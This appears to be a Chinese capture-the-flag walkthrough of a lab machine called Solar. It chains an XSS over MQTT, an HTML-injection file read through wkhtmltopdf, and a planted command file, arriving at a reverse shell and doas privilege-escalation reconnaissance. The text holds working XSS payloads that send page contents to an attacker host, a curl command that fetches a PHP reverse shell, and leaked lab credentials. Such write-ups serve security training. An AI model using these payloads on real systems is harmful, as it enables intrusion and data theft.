function setParams(solarEnergy, consumedEnergy) {
let gridEnergy = consumedEnergy - solarEnergy;
solar = solarEnergy;
consumed = consumedEnergy;
grid = gridEnergy;


// Update the bar chart
energyChart.data.datasets[0].data = [solar, consumed, grid];
energyChart.update();

// Update labels with specific colors
document.getElementById('solarEnergyLabel').innerHTML = `<span class="energy-value solar">${solarEnergy} kWh</span>`;
document.getElementById('consumedEnergyLabel').innerHTML = `<span class="energy-value consumed">${consumedEnergy} kWh</span>`;

let gridLabel = document.getElementById('gridEnergyLabel');
gridLabel.innerHTML = `<span class="energy-value ${gridEnergy < 0 ? 'grid-negative' : 'grid-positive'}">${gridEnergy} kWh</span>`;

document.getElementById('userInfo').innerHTML = `<span>${userName}</span><br>${userRole}`;
}

setParams(0, 0);

// Show message
function showMessage(msg) {
const mensajeDiv = document.createElement('div');
mensajeDiv.classList.add("temp-message")
mensajeDiv.textContent = msg;
document.body.appendChild(mensajeDiv);
setTimeout(() => {
mensajeDiv.remove();
}, 3000);
}

// Function to send the record
function sendrecord() {
let btn = document.getElementById('send-record-id');
if (!btn.disabled) {
// Capture the chart as a base64 image
let chartImage = energyChart.toBase64Image();

mqttclient.publish('record', JSON.stringify({
time: new Date().toISOString(),
user: {
name: userName,
role: userRole
},
solar: solar,
consumed: consumed,
grid: grid,
chart: chartImage
}));

btn.disabled = true;
btn.style.opacity = '0.3';


setTimeout(() => {
btn.style.opacity = '1';
btn.disabled = false;
showMessage('Record was end successfully!')
}, 1500);
}
}
document.getElementById('send-record-id').onclick = sendrecord;

</script>


</body>

仔细观察代码,发现管理员页面比普通用户多了两个功能

Show message Send record

  • showMessage这个函数的作用是在页面上显示一条临时消息,并在 3 秒后自动移除。它通过创建一个新的 div 元素,设置其内容和样式,然后将其添加到页面中。使用 setTimeout 函数来延迟 3 秒后移除消息元素。
  • sendrecord这个函数的作用是捕获当前图表的图像,并将其与能量数据和用户信息一起通过 MQTT 发布到服务器。它首先检查按钮是否可用,然后捕获图表图像,发布记录消息,禁用按钮并改变其透明度。使用 setTimeout 函数在 1.5 秒后恢复按钮状态,并显示一条成功消息。最后,将该函数绑定到按钮的点击事件上。

那我们尝试利用xss点击一下按钮

1
2
3
4
{
"solarEnergy":"<img src=x onerror=\"document.querySelector(`#send-record-id`).dispatchEvent(new Event('click'));\" />",
"consumedEnergy":999999
}
  • 选择元素document.querySelector(#send-record-id) 找到文档中与CSS选择器 #send-record-id 匹配的第一个元素,即 idsend-record-id 的元素。
  • 创建并派发事件.dispatchEvent(new Event('click')) 创建一个新的 click 事件,并将其派发到所选元素,从而模拟对该元素的点击。

MQTT协议二次利用

我们通过管理员JulianAdm的凭证连接到MQTT服务器

同时开始订阅data record两个主题

发送上方的payload,在record即可收到返回的图片

image

通过record主题中返回的json数据

我们可以分析一下

LFI漏洞入口

修改HTML标签

然后伪造一个chart显示我们要显示的文本

1
2
3
4
5
6
7
8
9
10
{
"time":"2025-02-20T10:57:01.468Z",
"user":{
"name":"JulianAdm",
"role":"admin"},
"solar": 211,
"consumed": 168,
"grid": -43,
"chart": "\"><h1>This is h1 title</h1></"
}

发送数据到record 发完后也会返回相同的json

image

在上文中我们通过gobuster还扫到一个目录records不过也是需要登录的

所以可以尝试通过管理员的身份去登录,并返回页面信息

1
2
3
4
{
"solarEnergy":"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer())));})();\"; />",
"consumedEnergy":999999
}
  • fetch('/records/'): 发送一个 HTTP 请求到 /records/ URL,并返回一个 Response 对象。
  • await fetch('/records/'): 等待请求完成,并返回一个 Response 对象。
  • (await fetch('/records/')).arrayBuffer(): 调用 arrayBuffer() 方法,将响应转换为 ArrayBuffer 对象。
  • await (await fetch('/records/')).arrayBuffer(): 等待 ArrayBuffer 对象的创建完成。
  • new Uint8Array(await (await fetch('/records/')).arrayBuffer()): 将 ArrayBuffer 对象转换为 Uint8Array 对象,以字节为单位表示数据。
  • String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer())): 使用 String.fromCharCodeUint8Array 对象的每个字节转换为相应的字符,并生成一个字符串。
  • btoa(...): 使用 btoa 函数将生成的字符串编码为 Base64 格式。
  • 'http://192.168.1.116/?data=' + btoa(...): 将编码后的数据附加到重定向的 URL 中,作为 data 参数。

这对于不会JavaScript的人来说,有点困难

本地开一下http服务

1
2
3
4
5
6
❯ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.60.100 - - [20/Feb/2025 19:31:25] "GET /?data=省略……………………HTTP/1.1" 200 -
192.168.60.196 - - [20/Feb/2025 19:31:25] "GET /?data=PCFET0NUWVBFIGh0bWw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+TGlzdCBvZiBTb2xhciBFbmVyZ3kgRGF0YTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdHlsZS5jc…………………………省略………………G1sPg== HTTP/1.1" 200 -
192.168.60.196 - - [20/Feb/2025 19:31:25] code 404, message File not found
192.168.60.196 - - [20/Feb/2025 19:31:25] "GET /favicon.ico HTTP/1.1" 404 -

base64解码一下,得到record的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<!DOCTYPE html>
<html>

<head>
<title>List of Solar Energy Data</title>
<link rel="stylesheet" href="/style.css">
<link rel="stylesheet" href="/style3.css">
</head>

<body>
<div style="min-width:400px;background:white;padding:15px;border-radius: 8px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);">
<div style="text-align:center;"><object class="solar-icon" data="../sun.svg" type="image/svg+xml" style="width:75px;"></object></div>
<h1>List of Solar Energy Data</h1>
<table>
<tr>
<th>Record</th>
<th>Actions</th>
</tr>
<tr>
<td>2024-09-02T23:15:11.396Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A15%3A11.396Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:18:15.742Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A18%3A15.742Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:18:44.091Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A18%3A44.091Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:24:33.828Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A24%3A33.828Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:24:44.800Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A24%3A44.800Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:25:15.961Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A25%3A15.961Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2024-09-02T23:29:14.124Z</td>
<td>
<a href="?download=true&file=2024-09-02T23%3A29%3A14.124Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2025-02-20T12:09:13.799Z</td>
<td>
<a href="?download=true&file=2025-02-20T12%3A09%3A13.799Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
<tr>
<td>2025-02-20T12:13:49.325Z</td>
<td>
<a href="?download=true&file=2025-02-20T12%3A13%3A49.325Z.json" class="download-btn">Download PDF</a>
</td>
</tr>
</table>
<a href="../dashboard.php" class="logout-link">&lt; Back</a>
</div>
</body>

</html>

发现是太阳能数据列表,有很多pdf

我们也是利用相同的xss payload 尝试下载最新一篇的pdf

1
2
3
4
{
"solarEnergy":"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/?download=true&file=2025-02-20T12%3A13%3A49.325Z.json')).arrayBuffer())));})();\"; />",
"consumedEnergy":999999
}

另存为pdf

image

打开发现就是我们之前注入的文本This is h1 title

image

另外我们通过查看文件详细作者

可以得知是由wkhtmltopdf 0.12.6.1创建的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ exiftool Solar.pdf
ExifTool Version Number : 13.00
File Name : Solar.pdf
Directory : .
File Size : 20 kB
File Modification Date/Time : 2025:02:20 20:19:47+08:00
File Access Date/Time : 2025:02:20 20:20:00+08:00
File Inode Change Date/Time : 2025:02:20 20:19:47+08:00
File Permissions : -rwxr-xr-x
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : Solar Energy Data
Creator : wkhtmltopdf 0.12.6.1
Producer : Qt 4.8.7
Create Date : 2025:02:20 07:17:06-05:00
Page Count : 1
Page Mode : UseOutlines

wkhtmltopdf是一个开源的命令行工具,用于将HTML文件转换成PDF文件。它是基于WebKit的HTML转PDF工具,支持各种操作系统,包括Windows、Mac和Linux。版本0.12.6.1是该工具的一个特定版本,包含了一些特定的功能和修复了一些bug。用户可以使用wkhtmltopdf来快速高效地将HTML页面转换为PDF文件。

虽然说此版本由LFI漏洞,可以任意读取文件

但无法访问系统文件/etc/passwd,只能读取来自web上的php文件

image

XSS漏洞结合LFI漏洞

相同的,我们可以在records中构造json数据

1
2
3
4
5
6
7
8
9
10
11
12
<script>
p='/var/www/solar.nyx/records/index.php';
x=new XMLHttpRequest;
x.onerror=function() {
document.write('<p>' + p + ' not found');
};
x.onload=function() {
document.write('<p>' + p + '</p><div style="word-break: break-all;max-width:90%;">' + btoa(this.responseText) + '</div>');
};
x.open("GET", "file://" + p);
x.send();
</script>
  1. p='/var/www/solar.nyx/records/index.php';

    • 定义了一个变量 p,其值是文件路径 /var/www/solar.nyx/records/index.php
  2. x=new XMLHttpRequest;

    • 创建一个新的 XMLHttpRequest 对象 x,用于发送HTTP请求。
  3. x.onerror=function() { ... };

    • 定义一个错误处理函数。如果请求失败(如文件未找到),就会执行这个函数,将 <p> 标签与错误消息写入页面。
  4. x.onload=function() { ... };

    • 定义一个加载处理函数。当请求成功时,会执行这个函数,将文件路径 <p> 标签与文件内容(编码为Base64格式)写入页面。
  5. x.open("GET", "file://" + p);

    • 初始化一个 GET 请求,目标是指定的文件路径(file:// + p)。
  6. x.send();

    • 发送请求

将此javascript代码写到chart

完整payload

1
2
3
4
5
6
7
8
9
10
{
"time":"2025-02-20T10:57:01.468Z",
"user":{
"name":"JulianAdm",
"role":"admin"},
"solar": 211,
"consumed": 168,
"grid": -43,
"chart": "\"><script>\np='/var/www/solar.nyx/login.php';\nx=new XMLHttpRequest;\nx.onerror=function(){{document.write('<p>'+p+' not found')}};\nx.onload=function(){{document.write('<p>'+p+'</p><div style=\"word-break: break-all;max-width:90%;\">'+btoa(this.responseText)+'</div>')}};\nx.open(\"GET\",\"file://\"+p);x.send();\n</script><x=\""
}

image

重复上述步骤

  1. 发送此json数据到data中获取最新的pdf链接

    1
    2
    3
    4
    {
    "solarEnergy":"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer())));})();\"; />",
    "consumedEnergy":999999
    }
  2. 监听http服务返回包

    1
    2
    3
    4
    5
        <td>2025-02-20T12:44:54.135Z</td>
    <td>
    <a href="?download=true&file=2025-02-20T12%3A44%3A54.135Z.json" class="download-btn">Download PDF</a>
    </td>
    </tr>
  3. 发送此json数据从records页面中下载pdf

    1
    2
    3
    4
    {
    "solarEnergy":"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/?download=true&file=2025-02-20T12%3A44%3A54.135Z.json')).arrayBuffer())));})();\"; />",
    "consumedEnergy":999999
    }
  4. base64解码得到网页源码

    image

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    <?php
    include("../session.php");

    if (!isset($_SESSION['username']) || empty($_SESSION['username']) || $_SESSION['role'] != 'admin') {
    header("Location: /index.php");
    exit();
    }



    $directory = __DIR__ . '/'; // Directorio donde se encuentran los archivos JSON


    $files = glob($directory . '*.json');
    usort($files, function ($a, $b) {
    return filemtime($b) - filemtime($a);
    });

    $filesToKeep = array_slice($files, 0, 10);
    $filesToDelete = array_slice($files, 10);

    foreach ($filesToDelete as $file) {
    if (is_file($file)) {
    unlink($file);
    }
    }

    $jsonFiles = glob($directory . '*.json');


    function generatePDF($data, $filename)
    {
    $html = '<html><head><title>Solar Energy Data</title><style>
    .energy-meter {
    margin: 20px auto;
    text-align: center;
    }
    h1 { text-align: center; }
    </style></head><body>';
    $html .= '<div style="text-align:center;"><br><br><img src="/var/www/solar.nyx/sun.svg" width="250" height="150"></div><br><br>';
    $html .= '<h1>Solar Energy Data<br><small>' . htmlspecialchars($data['time']) . '</small></h1><br><br><br><div class="energy-meter"><img src="' . ($data['chart']) . '" ></div><br>';
    $html .= '<table border="0" cellpadding="4" style="margin-left:auto;margin-right:auto;">
    <tr>
    <th align="right">Registered by user</th>
    <td>' . htmlspecialchars($data['user']['name']) . ' (' . htmlspecialchars($data['user']['role']) . ')</td>
    </tr>
    <tr>
    <th align="right">Solar</th>
    <td>' . htmlspecialchars($data['solar']) . '</td>
    </tr>
    <tr>
    <th align="right">Consumed</th>
    <td>' . htmlspecialchars($data['consumed']) . '</td>
    </tr>
    <tr>
    <th align="right">Grid</th>
    <td>' . htmlspecialchars($data['grid']) . '</td>
    </tr>
    </table>';
    $html .= '</body></html>';


    $tempHtmlFile = tempnam(sys_get_temp_dir(), 'html_') . '.html';
    file_put_contents($tempHtmlFile, $html);

    $outputPdfFile = sys_get_temp_dir() . '/' . $filename;
    $command = escapeshellcmd("wkhtmltopdf --disable-local-file-access --allow /var/www/ $tempHtmlFile $outputPdfFile");

    $result = shell_exec($command . ' 2>&1');
    if ($result === null) {
    unlink($tempHtmlFile);
    throw new Exception('Error generate PDF: ' . $result);
    }

    unlink($tempHtmlFile);

    return $outputPdfFile;
    }

    if (isset($_GET['download']) && isset($_GET['file'])) {
    $file = basename($_GET['file']);
    $filePath = $directory . '/' . $file;

    if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'json') {
    $data = json_decode(file_get_contents($filePath), true);
    if ($data === null) {
    http_response_code(400);
    echo 'Error read JSON.';
    exit;
    }

    try {
    $pdfFile = generatePDF($data, basename($file, '.json') . '.pdf');
    header('Content-Type: application/pdf');
    header('Content-Disposition: attachment; filename="' . basename($pdfFile) . '"');
    readfile($pdfFile);
    unlink($pdfFile);
    exit;
    } catch (Exception $e) {
    http_response_code(500);
    echo 'Error generate PDF: ' . $e->getMessage();
    exit;
    }
    } else {
    http_response_code(404);
    echo 'File not found.';
    exit;
    }
    }

    ?>
    <!DOCTYPE html>
    <html>

    <head>
    <title>List of Solar Energy Data</title>
    <link rel="stylesheet" href="/style.css">
    <link rel="stylesheet" href="/style3.css">
    </head>

    <body>
    <div style="min-width:400px;background:white;padding:15px;border-radius: 8px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);">
    <div style="text-align:center;"><object class="solar-icon" data="../sun.svg" type="image/svg+xml" style="width:75px;"></object></div>
    <h1>List of Solar Energy Data</h1>
    <table>
    <tr>
    <th>Record</th>
    <th>Actions</th>
    </tr>
    <?php foreach ($jsonFiles as $file): ?>
    <tr>
    <td><?php echo htmlspecialchars(pathinfo($file, PATHINFO_FILENAME)); ?></td>
    <td>
    <a href="?download=true&file=<?php echo urlencode(basename($file)); ?>" class="download-btn">Download PDF</a>
    </td>
    </tr>
    <?php endforeach; ?>
    </table>
    <a href="../dashboard.php" class="logout-link">&lt; Back</a>
    </div>
    </body>

    </html>

    其中这些代码也恰巧验证了上方能够注入文件的原因

    接受来自datachart保存在div块中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    $html .= '<div style="text-align:center;"><br><br><img   src="/var/www/solar.nyx/sun.svg"  width="250" height="150"></div><br><br>';
    $html .= '<h1>Solar Energy Data<br><small>' . htmlspecialchars($data['time']) . '</small></h1><br><br><br><div class="energy-meter"><img src="' . ($data['chart']) . '" ></div><br>';
    $html .= '<table border="0" cellpadding="4" style="margin-left:auto;margin-right:auto;">
    <tr>
    <th align="right">Registered by user</th>
    <td>' . htmlspecialchars($data['user']['name']) . ' (' . htmlspecialchars($data['user']['role']) . ')</td>
    </tr>
    <tr>
    <th align="right">Solar</th>
    <td>' . htmlspecialchars($data['solar']) . '</td>
    </tr>
    <tr>
    <th align="right">Consumed</th>
    <td>' . htmlspecialchars($data['consumed']) . '</td>
    </tr>
    <tr>
    <th align="right">Grid</th>
    <td>' . htmlspecialchars($data['grid']) . '</td>
    </tr>
    </table>';
    $html .= '</body></html>';

    通过观察源代码 可以发现使用 wkhtmltopdf 命令将 HTML 文件转换为 PDF 文件

    1
    2
    <?php
    $command = escapeshellcmd("wkhtmltopdf --disable-local-file-access --allow /var/www/ $tempHtmlFile $outputPdfFile");
    1. **escapeshellcmd**:
      • 这个 PHP 函数用于转义命令行字符串中的特殊字符,以防止命令注入攻击。它确保传递给 shell_exec 的命令是安全的。
    2. wkhtmltopdf 工具
      • wkhtmltopdf 是一个强大的工具,可以将 HTML 文件转换为 PDF 文件。它支持复杂的 HTML 和 CSS,并且可以生成高质量的 PDF 文件。
    3. **--disable-local-file-access**:
      • 这个参数用于禁用本地文件访问。它可以防止 HTML 文件中的 <img> 标签或其他资源从本地文件系统加载文件,从而提高安全性。
    4. **--allow /var/www/**:
      • 这个参数用于指定允许访问的目录。在这种情况下,它允许 wkhtmltopdf 访问 /var/www/ 目录中的文件。这个参数与 --disable-local-file-access 一起使用,以便在禁用本地文件访问的情况下,仍然可以访问指定目录中的文件。
    5. **$tempHtmlFile**:
      • 这是一个变量,包含临时 HTML 文件的路径。这个 HTML 文件是根据传入的数据生成的,并将被转换为 PDF 文件。
    6. **$outputPdfFile**:
      • 这是一个变量,包含输出 PDF 文件的路径。生成的 PDF 文件将被保存到这个路径。

那既然只能读/var/www下面的文件,那上文我们利用gobuster扫到的login.php尝试读取一下

敏感文件读取

重复上述步骤,分别读取

  • /var/www/solar.nyx/login.php

在源代码中得到mysql的用户凭证

但只能本地访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include("session.php");


$servername = "127.0.0.1";
$username = "solar_user";
$password = "lD5vkvLfMowAiaT7w64C";
$dbname = "solar_energy_db";


try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);

$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$user = $_POST['username'];
$pass = $_POST['password'];
$hashed_pass = hash('sha256', $pass);
$stmt = $conn->prepare("SELECT id, password, role FROM users WHERE username = :username");
$stmt->bindParam(':username', $user);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if ($row) {
if ($hashed_pass === $row['password']) {
session_regenerate_id(true);
$_SESSION['id'] = $row['id'];
$_SESSION['username'] = $user;
$_SESSION['role'] = $row['role'];
header("Location: dashboard.php");
exit();
} else {
header("Location: index.php?msg=" . urlencode("Invalid password."));
}
} else {
header("Location: index.php?msg=" . urlencode("No user found with that username."));
}
}
} catch (PDOException $e) {
echo "Connection failed: " . $e->getMessage();
}

$conn = null;
?>
  • /var/www/sunfriends.nyx/server.php

文件中存储了secret变量

很明显就是登录凭证5up3r:bloods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
<?php
$secure = true;
$httponly = true;
$samesite = 'Strict';
$secret = [
'user' => '5up3r',
'pass' => 'bloods'
];

if (PHP_VERSION_ID < 70300) {
session_set_cookie_params($maxlifetime, '/; samesite=' . $samesite, $_SERVER['HTTP_HOST'], $secure, $httponly);
} else {
session_set_cookie_params([
'lifetime' => $maxlifetime,
'path' => '/',
'domain' => $_SERVER['HTTP_HOST'],
'secure' => $secure,
'httponly' => $httponly,
'samesite' => $samesite
]);
}
session_start();

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

// Verify credentials
if ($username === $secret['user'] && $password === $secret['pass']) {
$_SESSION['loggedin'] = true;
header('Location: server.php');
exit;
} else {
$error = "Incorrect username or password.";
}
}

if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
// Handle logout
if (isset($_POST['logout'])) {
session_destroy();
header('Location: server.php');
exit;
}

// Handle command execution
if (isset($_POST['execute']) && isset($_POST['command_file'])) {
$commandFile = 'commands/' . basename($_POST['command_file']);
if (file_exists($commandFile)) {
$commandJson = file_get_contents($commandFile);
$command = json_decode($commandJson, true);

if (isset($command['cmd'])) {
$output = shell_exec(escapeshellcmd($command['cmd']));
$mqttHost = 'localhost';
$mqttTopic = 'server/command/output';
$mqttMessage = json_encode([
'name' => $command['name'],
'command' => $command['cmd'],
'output' => base64_encode($output)
]);
$mqttCommand = sprintf(
'mosquitto_pub -h %s -t %s -m %s -u '.$secret['user'].' -P \''.$secret['pass'].'\'',
escapeshellarg($mqttHost),
escapeshellarg($mqttTopic),
escapeshellarg($mqttMessage)
);
shell_exec($mqttCommand);
} else {
$output = "Invalid command format in the file.";
}
} else {
$output = "Command file not found.";
}
}

// Get list of command files
$commandFiles = array_diff(scandir('commands'), ['.', '..', 'php-info.php']);

// Show admin panel if user is authenticated
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Admin Panel</title>
<link rel="stylesheet" href="/style.css">
<link rel="stylesheet" href="/styleadmin2.css">
</head>

<body>
<main>
<h1>Server Administration Panel</h1>
<p>This is a server administration or management page.</p>
<p style="text-align:left;">Server contains two websites:
<ul>
<li style="text-align:left;"><strong>sunfriends.nyx</strong> a forum about solar energy.</li>
<li style="text-align:left;"><strong>solar.nyx</strong> a real time control panel for the community solar
installation.</li>
</ul>
</p>
<form method="post" action="">
<input type="submit" name="logout" value="Logout">
</form>
<h2>Server Information</h2>
<form method="post" action="">
<label for="command_file">Select Command:</label>
<select name="command_file" id="command_file" required>
<?php foreach ($commandFiles as $file): ?>
<option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
<?php endforeach; ?>
</select>
<br><br>
<input type="submit" name="execute" value="Execute">
</form>
<?php if (isset($output)): ?>
<h3>Command Output:</h3>
<pre><?php echo htmlspecialchars($output); ?></pre>
<?php endif; ?>
</main>
</body>

</html>
<?php
} else {
// Show login form if user is not authenticated
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Login - Solar Community Server</title>
<link rel="stylesheet" href="/style.css">
<link rel="stylesheet" href="/styleadmin.css">

</head>

<body>
<!-- Main container for the login form -->
<div class="login-container">
<!-- Page header -->
<h2>Admin Login</h2>

<!-- Subheader to clarify the purpose of the login -->
<h3>Administration Server for <strong>solar.nyx</strong> and <strong>sunfriends.nyx</strong></h3>

<!-- Display error message if present -->
<?php if (isset($error)): ?>
<p class="error"><?php echo $error; ?></p>
<?php endif; ?>

<!-- Login form -->
<form method="post" action="">
<!-- Username input -->
<label for="username">Username</label>
<input type="text" name="username" id="username" required>

<!-- Password input -->
<label for="password">Password</label>
<input type="password" name="password" id="password" required>

<!-- Submit button -->
<input type="submit" value="Login">
</form>

<!-- Footer link to the main site -->
<div class="footer-link">
<p>Not an admin? <a href="/">Return to Solar Community Forum</a></p>
</div>
</div>
</body>

</html>
<?php
}
?>

MQTT协议三次利用

登入进去,可以执行预定的命令来查看服务器状态

image

猜测含有注入命令执行漏洞

在源代码中命令执行的部分中 Handle command execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Handle command execution
if (isset($_POST['execute']) && isset($_POST['command_file'])) {
$commandFile = 'commands/' . basename($_POST['command_file']);
if (file_exists($commandFile)) {
$commandJson = file_get_contents($commandFile);
$command = json_decode($commandJson, true);

if (isset($command['cmd'])) {
$output = shell_exec(escapeshellcmd($command['cmd']));
$mqttHost = 'localhost';
$mqttTopic = 'server/command/output';
$mqttMessage = json_encode([
'name' => $command['name'],
'command' => $command['cmd'],
'output' => base64_encode($output)
]);
$mqttCommand = sprintf(
'mosquitto_pub -h %s -t %s -m %s -u '.$secret['user'].' -P \''.$secret['pass'].'\'',
escapeshellarg($mqttHost),
escapeshellarg($mqttTopic),
escapeshellarg($mqttMessage)
);
shell_exec($mqttCommand);
} else {
$output = "Invalid command format in the file.";
}
} else {
$output = "Command file not found.";
}
}

'mosquitto_pub -h %s -t %s -m %s -u '.$secret['user'].' -P \''.$secret['pass'].'\''

上方的凭证同时也MQTT服务的连接凭证

image

连接一下,$mqttTopic = 'server/command/output';

同时订阅来自server/command/output的信息

亦或者你不嫌烦的直接#订阅全部信息

我们执行命令,可以收到来自outputjson

image

我在想既然拿到输出格式,那我们能不能构造一个命令

我直接输入空内容,会有报错

提示少了name参数

image

添加后,又提示少了cmd参数

不过源代码中通过escapeshellcmd函数来转义字符串中的特殊符号

escapeshellcmd 函数会转义以下字符:

  • &(按位与)
  • ;(命令分隔符)
  • |(管道符)
  • -(选项标志)
  • \(反斜杠)
  • *(通配符)
  • ?(通配符)
  • [(左方括号)
  • ](右方括号)
  • {(左大括号)
  • }(右大括号)
  • '(单引号)
  • "(双引号)
  • ((左圆括号)
  • )(右圆括号)
  • >(重定向符)
  • <(重定向符)
  • ~(波浪号)
  • #(注释符)
  • =(等号)
  • %(百分号)
  • :(冒号)
  • (空格)

尝试创建一个新的command

保存一个反弹shell到records/rev.php

注意靶机上没有wget

image

1
2
3
4
{
"name": "rev",
"cmd": "curl -o /var/www/solar.nyx/records/rev.php http://192.168.60.100/rev.php"
}

这时候你返回server.php中刷新一下,就可以选择rev

image

用户提权

执行一下,curl一下rev.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tail -f /var/log/nginx/access.log
192.168.60.196 - - [20/Feb/2025:22:16:11 +0800] "GET /rev.php HTTP/1.1" 200 9288 "-" "curl/7.88.1"
❯ curl https://www.solar.nyx/records/rev.php -k
---------分割-------------
##监听端口
❯ pwncat-cs -lp 4444
[21:51:27] Welcome to pwncat 🐈! __main__.py:164
bound to 0.0.0.0:4444 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[22:17:04] received connection from 192.168.60.196:57752 bind.py:84
[22:17:04] 0.0.0.0:4444: upgrading from /usr/bin/dash to manager.py:957
/usr/bin/bash
[22:17:21] 192.168.60.196:57752: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@solar:/var/www/solar.nyx/records$

至此,终于拿到user shell了

从中可以获得lenam julian用户

1
2
3
4
(remote) www-data@solar:/tmp$  cat /etc/passwd|grep -E "/bin/bash|/bin/sh"
root:x:0:0:root:/root:/bin/bash
lenam:x:1000:1000:,,,:/home/lenam:/bin/bash
julian:x:1001:1001::/home/julian:/bin/sh

Doas权限

发现拥有doas执行权限

1
2
3
4
5
╔══════════╣ Checking doas.conf
permit nopass www-data as lenam cmd /usr/bin/mosquitto_pub
permit lenam as julian cmd /bin/kill
permit setenv { PATH } julian as root cmd /usr/local/bin/backups

可以以lenam的身份执行/usr/bin/mosquitto_pub

那直接现查一下mosquitto_pub的全部用法

-h : 指定MQTT代理的主机名或IP地址。默认为localhost。

--unix : 通过Unix域套接字而不是TCP套接字连接到代理,例如:/tmp/mosquitto.sock

-p : 指定MQTT代理的端口号。默认为1883(普通MQTT)和8883(MQTT over TLS)。

-u : 提供用户名。

-P : 提供密码。

-t : 指定发布消息的主题。

-L : 以URL形式指定用户、密码、主机名、端口和主题,例如:mqtt(s)://[username[:password]@]host[:port]/topic

-f : 将文件内容作为消息发送。

